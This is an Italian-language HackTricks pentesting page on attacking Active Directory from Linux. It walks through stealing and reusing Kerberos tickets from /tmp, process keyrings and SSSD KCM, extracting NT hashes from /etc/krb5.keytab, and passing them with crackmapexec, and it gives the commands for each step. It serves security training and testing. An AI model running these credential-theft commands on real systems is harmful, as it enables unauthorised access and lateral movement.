9 KiB
Active Directory Linux
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.
Una macchina Linux può essere presente anche all'interno di un ambiente Active Directory.
Una macchina Linux in un AD potrebbe memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket Kerberos. Per leggere questi ticket è necessario essere il proprietario dell'utente del ticket o root all'interno della macchina.
Enumerazione
Enumerazione AD da Linux
Se hai accesso a un AD in Linux (o bash in Windows) puoi provare https://github.com/lefayjey/linWinPwn per enumerare l'AD.
Puoi anche controllare la seguente pagina per imparare altre modalità per enumerare l'AD da Linux:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
FreeIPA
FreeIPA è un'alternativa open-source a Microsoft Windows Active Directory, principalmente per ambienti Unix. Combina un directory LDAP completa con un centro di distribuzione delle chiavi MIT Kerberos per la gestione simile ad Active Directory. Utilizzando il sistema di certificati Dogtag Certificate System per la gestione dei certificati CA & RA, supporta l'autenticazione multifattore, inclusi i smart card. SSSD è integrato per i processi di autenticazione Unix. Scopri di più al riguardo in:
{% content-ref url="../freeipa-pentesting.md" %} freeipa-pentesting.md {% endcontent-ref %}
Giocare con i ticket
Pass The Ticket
In questa pagina troverai diversi luoghi in cui potresti trovare ticket Kerberos all'interno di un host Linux, nella pagina seguente puoi imparare come trasformare questi formati di ticket CCache in Kirbi (il formato necessario per l'uso in Windows) e anche come eseguire un attacco PTT:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} pass-the-ticket.md {% endcontent-ref %}
Riutilizzo del ticket CCACHE da /tmp
I file CCACHE sono formati binari per memorizzare le credenziali Kerberos che vengono tipicamente archiviati con autorizzazioni 600 in /tmp
. Questi file possono essere identificati dal loro formato di nome, krb5cc_%{uid}
, che corrisponde all'UID dell'utente. Per la verifica del ticket di autenticazione, la variabile d'ambiente KRB5CCNAME
dovrebbe essere impostata sul percorso del file di ticket desiderato, consentendone il riutilizzo.
Elencare il ticket corrente utilizzato per l'autenticazione con env | grep KRB5CCNAME
. Il formato è portatile e il ticket può essere riutilizzato impostando la variabile d'ambiente con export KRB5CCNAME=/tmp/ticket.ccache
. Il formato del nome del ticket Kerberos è krb5cc_%{uid}
, dove uid è l'UID dell'utente.
# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
Riutilizzo del ticket CCACHE dalla keyring
I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti, specialmente quando la protezione ptrace della macchina è disabilitata (/proc/sys/kernel/yama/ptrace_scope
). Uno strumento utile a questo scopo si trova su https://github.com/TarlogicSecurity/tickey, che facilita l'estrazione iniettando nelle sessioni e scaricando i ticket in /tmp
.
Per configurare e utilizzare questo strumento, seguire i passaggi di seguito:
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
Questa procedura cercherà di iniettarsi in varie sessioni, indicando il successo memorizzando i ticket estratti in /tmp
con una convenzione di denominazione __krb_UID.ccache
.
Riutilizzo del ticket CCACHE da SSSD KCM
SSSD mantiene una copia del database nel percorso /var/lib/sss/secrets/secrets.ldb
. La corrispondente chiave viene memorizzata come file nascosto nel percorso /var/lib/sss/secrets/.secrets.mkey
. Di default, la chiave è leggibile solo se si hanno i permessi di root.
Invocando **SSSDKCMExtractor
** con i parametri --database e --key, verrà analizzato il database e decifrati i segreti.
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
Il blob Kerberos della cache delle credenziali può essere convertito in un file CCache Kerberos utilizzabile che può essere passato a Mimikatz/Rubeus.
Riutilizzo del ticket CCACHE da keytab
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
Estrarre gli account da /etc/krb5.keytab
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, vengono conservate in modo sicuro nei file /etc/krb5.keytab
. Queste chiavi, simili a password per i servizi, richiedono una rigorosa riservatezza.
Per ispezionare il contenuto del file keytab, è possibile utilizzare il comando klist
. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa l'NT Hash per l'autenticazione dell'utente, in particolare quando il tipo di chiave viene identificato come 23.
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
Per gli utenti Linux, KeyTabExtract
offre la funzionalità di estrarre l'hash RC4 HMAC, che può essere sfruttato per il riutilizzo dell'hash NTLM.
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
Su macOS, bifrost
funge da strumento per l'analisi dei file keytab.
./bifrost -action dump -source keytab -path /path/to/your/file
Utilizzando le informazioni sull'account e l'hash estratti, è possibile stabilire connessioni ai server utilizzando strumenti come crackmapexec
.
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
Riferimenti
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://github.com/TarlogicSecurity/tickey
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.